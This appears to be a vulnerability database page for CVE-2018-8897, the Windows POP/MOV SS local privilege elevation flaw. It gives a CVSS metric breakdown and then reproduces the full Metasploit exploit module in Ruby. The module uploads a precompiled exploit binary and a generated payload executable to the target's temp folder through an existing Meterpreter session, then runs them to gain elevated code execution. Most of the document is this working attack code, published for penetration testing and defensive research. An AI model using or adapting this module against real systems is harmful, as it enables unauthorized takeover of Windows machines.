The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Microsoft Windows POP/MOV SS Local Privilege Elevation
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/windows/priv'
require 'msf/core/post/windows/registry'
require 'msf/core/exploit/exe'
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability',
'Description' => %q{
This module exploits a vulnerability in a statement in the system programming guide
of the Intel 64 and IA-32 architectures software developer's manual being mishandled
in various operating system kerneles, resulting in unexpected behavior for #DB
excpetions that are deferred by MOV SS or POP SS.
This module will upload the pre-compiled exploit and use it to execute the final
payload in order to gain remote code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nick Peterson', # Original discovery (@nickeverdox)
'Nemanja Mulasmajic', # Original discovery (@0xNemi)
'Can BAPlA1/4k <can1357>', # PoC
'bwatters-r7' # msf module
],
'Platform' => [ 'win' ],
'SessionTypes' => [ 'meterpreter' ],
'Targets' =>
[
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'May 08 2018',
'References' =>
[
['CVE', '2018-8897'],
['EDB', '44697'],
['BID', '104071'],
['URL', 'https://github.com/can1357/CVE-2018-8897/'],
['URL', 'https://blog.can.ac/2018/05/11/arbitrary-code-execution-at-ring-0-using-cve-2018-8897/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => 'False'
}
))
register_options([
OptString.new('EXPLOIT_NAME',
[false, 'The filename to use for the exploit binary (%RAND% by default).', nil]),
OptString.new('PAYLOAD_NAME',
[false, 'The filename for the payload to be used on the target host (%RAND%.exe by default).', nil]),
OptString.new('PATH',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptInt.new('EXECUTE_DELAY',
[false, 'The number of seconds to delay before executing the exploit', 3])
])
end
def setup
super
@exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8)+6))
@exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i)
@payload_name = "#{payload_name}.exe" unless payload_name.match(/\.exe$/i)
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
@payload_path = "#{temp_path}\\#{payload_name}"
@exploit_path = "#{temp_path}\\#{exploit_name}"
@payload_exe = generate_payload_exe
end
def validate_active_host
begin
host = session.session_host
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end
def validate_remote_path(path)
unless directory?(path)
fail_with(Failure::Unreachable, "#{path} does not exist on the target")
end
end
def validate_target
if sysinfo['Architecture'] == ARCH_X86
fail_with(Failure::NoTarget, 'Exploit code is 64-bit only')
end
if sysinfo['OS'] =~ /XP/
fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
end
end
def ensure_clean_destination(path)
if file?(path)
print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error("Unable to delete #{path}")
end
end
end
def ensure_clean_exploit_destination
ensure_clean_destination(exploit_path)
end
def ensure_clean_payload_destination
ensure_clean_destination(payload_path)
end
def upload_exploit
local_exploit_path = ::File.join(Msf::Config.data_directory, 'exploits', 'cve-2018-8897-exe', 'cve-2018-8897-exe.exe')
upload_file(exploit_path, local_exploit_path)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")
end
def upload_payload
write_file(payload_path, payload_exe)
print_status("Payload (#{payload_exe.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
end
def execute_exploit
sleep(datastore['EXECUTE_DELAY'])
print_status("Running exploit #{exploit_path} with payload #{payload_path}")
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{payload_path}")
vprint_status(output)
end
def exploit
begin
validate_active_host
validate_target
validate_remote_path(temp_path)
ensure_clean_exploit_destination
ensure_clean_payload_destination
upload_exploit
upload_payload
execute_exploit
rescue Rex::Post::Meterpreter::RequestError => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}")
print_error(e.message)
ensure_clean_exploit_destination
ensure_clean_payload_destination
end
end
attr_reader :exploit_name
attr_reader :payload_name
attr_reader :payload_exe
attr_reader :temp_path
attr_reader :payload_path
attr_reader :exploit_path
end
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